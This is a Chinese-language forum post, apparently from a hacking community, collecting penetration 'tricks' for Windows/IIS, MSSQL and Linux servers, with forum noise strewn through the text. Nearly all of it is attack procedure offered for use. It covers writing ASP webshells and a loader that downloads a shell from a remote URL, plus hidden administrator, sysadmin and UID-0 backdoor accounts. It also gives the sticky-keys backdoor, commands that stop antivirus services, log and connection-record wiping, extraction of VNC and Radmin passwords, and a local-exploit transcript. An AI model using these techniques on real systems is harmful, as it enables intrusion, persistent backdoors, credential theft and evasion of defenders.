渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
) b: S6 Z- ]( Q( ^On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
6 t& m( a" U9 _# ]; V
% j. S2 X" S4 k: [& i% @- gMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
. \* [+ o8 ^7 u6 iFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
; @9 F3 C7 ?- f% L+ u, W6 v                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
- S9 H7 P4 ]9 h+ {         
" q) S, y# i: c  n4 w3 M  O! P
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
3 E2 @  W7 [; |; W0 N# @
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
4 m, F0 G9 F  [9 v
& l. x* g0 g) h; [4 |, ]: }3 ?' oOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
, b8 W+ }" h/ {4 a" a8 P     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
, d& @! H) Q& N% t0 q" g; p  p% X                        
$ A3 y4 v. [) K
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
8 ]% z  x* t+ [1 O/ \5 Y% f
         WScript.Echo "ath            : " & VDirObj.Path
$ V- N" i- Q. }1 z& C        End If
2 |# ]! C: u5 l$ w! t  ]* UNext
; A" t3 \$ C7 `8 [0 Y( j- C复制代码
( p- r% r$ Y. P- [& v& h3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
* t, _' w! B6 @, X4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
: Q- y5 X& H  H0 \3 T  ]. C——————————————————————
1 b* g- X; D  R. tphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
& a3 \3 c8 T; h5 h; y3 g' Pnetsh ras set user administrator permit #允许administrator拨入该VPN
4 v# C6 ]/ C' C5 w# G" Bnetsh ras set user administrator deny #禁止administrator拨入该VPN
- q9 k6 u, M+ x. Anetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
  X( _9 K# M  O& vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
7 Q6 t- Y$ y7 ?netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
( d1 b% L& \* D8 i9 j————————————————————
6 S$ `0 |' v# D: T; l. ]命令行下添加SQL用户的方法
7 H7 E1 u) b/ h2 e8 u0 C- v! V/ o需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
; a4 Y$ I$ n8 c" `# H# ~exec master.dbo.sp_addlogin test,123
9 R5 E! Q6 x9 H6 o8 r8 V2 `EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
; r) }, V% A$ w# Y
/ Y- J, k2 p6 m! @: W另类的加用户方法
& \% U7 r7 a0 {2 O9 H# B$ O" x4 x! [1 D. W在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
" o. [/ A- a: i1 P; r# v, i" A% kz=o.create("test") ;
z.changePassword("123456","")
  O' h/ k% d6 g" l6 m; f, Az.setting("AccountType")=3;

vbs:
Set   o=CreateObject( "Shell.Users" )
( t8 [. G9 {1 \  CSet z=o.create("test")
z.changePassword "123456",""
# @5 G% r% d. ~6 P! Fz.setting("AccountType")=3
——————————————————
( K. y% q3 G- e2 l; D0 Rcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

- ~1 B0 \9 G! U/ H' @8 b命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
1 r/ v6 I& l! U$ a  Scacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
$ q0 D- Q+ f4 s& N1 c  A- Na、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
5 Y* v+ }5 j  [b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
+ N/ Y( m" z/ @3 o- x3 G3 l$ f" n
: W8 j/ K0 x* `- y7 _! r  V' K杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
( V" O0 i/ n7 O  gnet stop "Symantec AntiVirus" /y
) P1 \) G; ?; f0 Bnet stop "Symantec AntiVirus Definition Watcher" /y
4 F, W! s0 D5 rnet stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
9 b3 C6 T3 h* U7 @  c; kcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
9 U0 v2 z  e  P- O- k! h——————————————————————
# g; f9 H- k( N隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
. U- @$ c" G3 Z( B2 D5 e/ W4、利用Hacker Defender把相关用户注册表隐藏
& J- \0 T& ?/ V7 T6 y6 Q——————————————————————
. a- L" Z- I! R) `MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
1 K( O. {# a, _* yGRANT exec On xp_helpsystem TO public;
* e# r* d# {5 N/ D% |! G$ ]" }! C0 f———————————————————————
. ^; B' o$ Y3 F% N# C日志处理
( ~$ E! k, z" a8 lC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
1 D+ Y! r( t4 N; G5 D直接删除 ex0111124.log
* }  m3 v6 r8 R) N% K不成功，“原文件...正在使用”
  I5 e+ D' C" u当然可以直接删除ex011120.log / ex011121.log
7 ^7 q& p. [* u  C9 U用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
/ K8 O; j$ N9 ]8 O# dMSSQL 2000位于注册表如下：
, [- J  A2 A; dHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
( b3 j$ s8 E; y* P  `+ [0 c& z4 D
Server\90\Tools\Shell\mru.dat
—————————————————————————
; C5 q# e9 t/ @/ X防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
8 c: {  p/ ~5 [+ q) N+ \: dSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
/ X' n- l6 U  g7 |2 G: `With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
$ |. f1 \, B4 d9 a/ l* a.Send
GetRemoteData = .ResponseBody
End With
4 O# X1 r! v# D. ~- ^Set Retrieval = Nothing
( f9 [: n1 o0 L# I! g& O; u. ISet Ads = Server.CreateObject("Adodb.Stream")
( i) f: q6 I7 E8 ~; T9 l1 @3 oWith Ads
.Type = 1
.Open
8 w6 t! \3 \  Q. w% `1 a.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
7 r  K. Q) k& K, n4 G.Cancel()
9 N7 U  Q( g( T.Close()
End With
Set Ads=nothing
3 U- R' o. ]; W+ A& Q/ D9 D  oEnd Sub
  x& ]3 c% p0 A+ U. |+ i  P1 d- E& y  c" y
6 ~) N. u% Z7 v: W" D9 z) [eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

' e7 U: p/ r1 M' eVNC提权方法:
9 B% v; R7 a5 |8 o利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
& i+ u3 v% o; h! p& v5 a注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
, D+ ~- u1 I/ P! Z. cregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
" y8 h8 E8 @" }HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
, k! e# E( ^! c: ^HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
7 S' z* Q  n5 v! b$ I" ^保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
$ ^% K' w7 P) u5 ]3 Z3 i——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
# K) ^) J9 H& I) D3 V- ~* c1 R. z来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
% C6 x1 M0 }* s  R1 B6 ^3 O5 q" \
1433 SA点构建注入点。
<%
3 _# @( }5 k3 N' ystrSQLServerName = "服务器ip"
5 K& H' }8 s2 MstrSQLDBUserName = "数据库帐号"
' B" q/ {( s3 sstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
9 V. Z2 F0 W& W) c" f( N% k0 tstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
' b8 b3 X+ n2 R5 U' J; ?
& z7 k2 B# z1 w  n- s+ Q$ `! R: a";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
% q$ f  j' [, h7 N; r6 n6 b0 mdim rs,strSQL,id
# B4 Y. l' Q+ i% Hset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
4 b9 g" M" ]  _, Z%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
7 D2 `( D% Y2 D% q8 Z看看密码登录策略我们可以看到使用了file ldap模式
) r0 Q* A7 D  `# r  q
2.less /etc/ldap.conf
1 F1 R4 f4 H5 u6 Nbase ou=People,dc=unix-center,dc=net
" X( f. d8 n( n找到ou,dc,dc设置

4 h: |) m9 V# u& z( w3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; m! g. f( k  h) f  D+ x: ~
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 ]% y# i( J' w% v" B
6 \6 H& q7 k0 t% K( J) o" W"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

" L/ r/ D% Z0 ?1 u" u- v
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

4 F8 ]9 G$ Z0 f" _6 F# s实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
' h+ r. x. Z. ~! W" v$ i) s
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
& y) E% a  E, I0 n- g
' ^3 @: E1 \& n- b3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

  ]/ ?- D5 P2 c$ e/ [; N"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# [( m! s) f8 @# X4 d6 E% g% {
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: b, K1 ]$ n: O

4.查找10条用户记录
/ _8 E- y+ _; I& o: s! k9 I) P( Zldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! G% ^. l3 ], [* y# N3 {. C
8 [# f& ?. g2 P$ V, Q: _渗透实战:
1.返回所有的属性
% G! Q1 L3 ?7 R8 G$ P- W( i, kldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
, m- F  y  d; o8 H" X
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
( N6 G: L7 N! u# N& Y3 xobjectClass: inetOrgPerson
5 K3 z2 {: v" F! q- ^4 f% ^objectClass: organizationalPerson
objectClass: person
. p6 d# n% E3 RobjectClass: top
% U( l" H/ w9 D. t. Z- Y2 Vsn: manager
0 x: d! y4 e! I! ^1 x- N9 w! Acn: manager
. d  {- M5 r5 O. H: D; |* }
8 R6 T& z2 I; _dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
1 b. |) A$ ^3 M+ Z0 ~9 X+ z+ uobjectClass: inetOrgPerson
% Z) \' ~5 z- X* H, L8 fobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin
/ I+ g# r# @. V( \
- V% p' S4 z. y8 L& E2 e, Idn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
( g2 x4 ], M* b$ m9 b! k9 eobjectClass: person
( I# n1 K' s6 D; F1 D, sobjectClass: top
5 [* A4 d. S# U2 W! b8 w: ?: K8 lsn: admin
, \' q: d: P% ]  S9 ^1 u, H9 Pcn: admin

( @$ g8 r. {4 s7 ^9 {% L1 t2 a  Odn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
! V' d( x' C, U( X" @objectClass: top
objectClass: person
objectClass: organizationalPerson
1 w8 _% i2 B, Z) \1 C* K) RobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
1 v- a, {6 Q0 s  ]5 ~( S/ m! ybash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
dn: dc=ruc,dc=edu,dc=cn
/ o) X) E2 N* ~5 Ddc: ruc
objectClass: domain

3.查找
  E) h2 }; \5 @, ~1 U: p, ]7 T' ?bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
/ v* t6 @2 E' uversion: 1
dn:
: ~. q! [; M: S6 B1 ]+ k0 sobjectClass: top
0 W1 u% _0 r( qnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
6 [0 F* D8 `8 D# Q9 ~supportedExtension: 2.16.840.1.113730.3.5.8
5 [+ E! ?7 w( O1 {supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
, U+ Q& y2 f- I0 \supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
$ u+ D& n% b- E* @  hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
/ _( i- o- \. R4 W: M& U- ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
6 g* v& t$ `7 I$ l: |+ msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
5 W' M( i5 a: r4 usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
5 k  p3 R+ U' Q$ Y3 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
3 a2 ^7 t2 B3 ^2 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
" w, q' a- o$ P( P) p  Y, ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
0 n/ T- E6 j0 O( isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
' V3 r8 X! k2 M) t$ M& c/ Q7 o! F6 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
: D# J3 B( p0 ], E1 T' A  LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
: g/ t9 |( U, P; w9 D5 e+ qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
7 ~/ w$ H6 F( usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
; ~0 x0 K  }. I; w+ \supportedExtension: 1.3.6.1.4.1.4203.1.11.3
# O8 i0 Q- _5 hsupportedControl: 2.16.840.1.113730.3.4.2
# }9 @( z/ j4 S2 g4 u  A8 I5 fsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
+ Y) v- @: n3 Y. `' N, {supportedControl: 2.16.840.1.113730.3.4.5
! m6 Q" k  N+ ~. [+ O; CsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
, J% k: X. I. N* \8 {* ?! G# VsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
3 _6 [6 f3 R9 Y# ~" usupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
, o; R; Y4 J' V" f  `, N  _  ?supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
; n  n& P& Y  K) M, ^" ~: I$ TsupportedControl: 1.3.6.1.4.1.1466.29539.12
4 f* h8 N1 a3 ~0 fsupportedControl: 2.16.840.1.113730.3.4.12
: l& x* ?8 a' z; y  m) l) I$ H! `% OsupportedControl: 2.16.840.1.113730.3.4.18
" z* q' z4 |) F8 Y2 A- A8 J7 a+ |supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
" @. G" R) s5 T# h! `3 R5 y9 o1 h8 zsupportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
5 U3 r. E' g8 N* F# ?vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
8 |. d2 }8 `5 ~& W, m$ E4 KsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
% }- [2 V3 n4 DsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
. Y9 H# g0 ?& c3 ~, lsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
# O5 E+ Q& @: q6 |$ z  TsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
+ y1 T: u; {; tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
$ q$ z/ Q( S$ S- WsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
' N+ J# U) U6 j) r4 M) osupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
# I  ]" k2 u1 ^, G6 q7 [supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
. V( y$ D% [; u8 [  E! ?- O$ S9 ksupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
& V0 W  Y4 A" W6 f! K4 qsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
6 K/ R* b. t0 O& P, FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
: N: K  e# Y- m' v$ L2 \supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
/ @$ {5 V7 z( PsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
9 |! N/ E% [2 X/ XsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
) c4 ?9 J" b5 O0 F4 J/ y% ksupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
$ i9 J" |$ ^+ }4 G5 h) |supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
7 o, N3 U# P& q0 ]: y7 FsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
( D8 I" B3 p/ s9 y' r0 jsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
. F" c7 K6 M. ^& l# k: s3 U% EsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
3 x6 I+ e- m. I! \) v, jsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
: @1 H3 x8 z' ^5 q# S' HsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
3 ^! W* {! i  B3 d6 v9 H+ k2 H0 c1 NsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
# x( V6 }, ~5 S  ksupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
$ I1 v. [+ ]7 q/ F1 B7 r2 WsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
( W. K3 Y8 d' U+ E' t列举IP
——————
5 [! `  H) ~0 I+ R3.rsync渗透技巧
" i4 [8 @+ D) Y4 v% W# i) b; ^2 P1 U1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
img_auto
+ `" I& f9 {$ d; {9 w1 P8 [7 h! phtml_cms
- f3 O+ d5 R& b4 r4 Wimg_cms
ent_cms
ent_img
+ ?$ t5 i6 O' t/ I; Sceshi
* L* n, d& `6 \# w! ~9 a9 M5 Gres_img
res_img_c2
: s% l# F5 b7 [5 t* achip
3 V, g. [) l1 g) X) hchip_c2
% G; k2 b8 m9 {+ z# ient_icms
games
' }4 B7 c8 \6 n" F; x# hgamesimg
, H" H! t+ x: V1 Omedia
- T0 q0 V/ A# }! t% a& smediaimg
fashion
res-fashion
res-fo
3 L1 Z$ j% L: n6 E& Staobao-home
res-taobao-home
house
% b2 c; R- g" B) s4 P/ H7 ~res-house
res-home
2 z! M! ?% N0 e& Z. ]res-edu
res-ent
  B3 H0 x8 n# ~& I6 V9 v6 Kres-labs
! p7 ~# U# R& J. fres-news
- X( x2 u5 o! zres-phtv
res-media
home
* ^- U* s$ b* U% i, w* S8 U2 wedu
: E  ?- }5 V- P: K2 enews
3 A: s! ]. d! e  ~res-book

7 y; P7 a! c1 R9 N# K看相应的下级目录(注意一定要在目录后面添加上/)
/ R% A: u. v8 ~( X& [/ b3 Y
( ?' d; L# n7 j4 Q- P
9 e! V  |% a5 n# D5 X& G% P" Irsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
# G5 V: N" Z4 Ursync 210.51.X.X::edu/
; `! O; k9 i' O
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
. S& y6 p9 z  o6 @. }7 h
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
; I4 x% u/ v- ^, H, A1 {. z" Zhttp://app.finance.xxx.com/warn/nothack.txt
( g2 C7 S. u3 g- m; P
( A' r8 s. E6 X, ?3 N- b5 A5 n5 p四.squid渗透技巧
nc -vv baidu.com 80
, A" y& T% _) S% w' Z% Z- L4 ^GET HTTP://www.sina.com / HTTP/1.0
, [) W1 b0 G0 iGET HTTP://WWW.sina.com:22 / HTTP/1.0
3 c' n' |3 R9 h$ K) ]五.SSH端口转发
5 r, S/ Q! S& N3 }5 a& hssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
确定版本
5 v5 z7 x! t0 K: Zindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
2 m, a! o9 C. i8 ]. B; C
9 o8 }3 k( i; i9 f1 u7 p1 z* E15&catid=32:languages&Itemid=47

1 b* G3 |. q8 G" {! y4 m/ G: C重新设置密码
& x; t5 f) ]8 k- y0 windex.php?option=com_user&view=reset&layout=confirm
* [% X% n, L3 y' {& B0 ]- P
七: Linux添加UID为0的root用户
  O, t* E0 H" E2 G  b5 n) h$ ^useradd -o -u 0 nothack

5 v2 C& H  F7 j4 ^八.freebsd本地提权
; @% j, s# h* ], y* l- l+ x$ V[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
0 ~: l9 d# {" m2 Y* [argp@julius ~]$ sysctl vfs.usermount
+ a+ [! L3 L! O1 j* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
. f1 k/ a" ]8 B  L7 H# hcalling nmount()
9 L$ B# J) b2 d0 D/ r4 x
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
, @% a! U/ n$ X/ v1 \' n; X8 H感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 s, s( N6 g9 }% p( l0 c————————————————————————————
+ I. t. |: `( `3 o' f! N1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
